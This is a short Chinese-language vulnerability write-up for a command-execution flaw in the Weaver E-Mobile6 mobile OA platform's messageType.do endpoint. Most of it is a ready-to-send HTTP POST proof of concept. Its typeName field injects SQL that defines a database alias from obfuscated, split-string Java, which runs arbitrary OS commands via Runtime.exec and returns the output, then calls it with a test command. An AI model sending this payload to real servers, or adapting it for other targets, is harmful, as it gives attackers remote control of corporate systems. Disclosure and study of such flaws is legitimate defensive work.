漏洞描述
泛微统一移动平台e-mobile，由高端OA泛微专业研发，是业内领先的移动OA系统，提供移动审批，移动考勤，移动报表，企业微信等丰富办公应用，支持多种平台运行，面向不同行业、不同领域、不同用户提供丰富的移动应用。该系统messageType.do存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。
泛微E-MOBILE6 messageType.do命令执行漏洞
PoC代码
POST /messageType.do HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1095
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_371
--00content0boundary00
Content-Disposition: form-data; name="method"
create
--00content0boundary00
Content-Disposition: form-data; name="typeName"
1';CREATE ALIAS if not exists MzSNqKsZTagm AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL MzSNqKsZTagm('echo mht666');--
--00content0boundary00--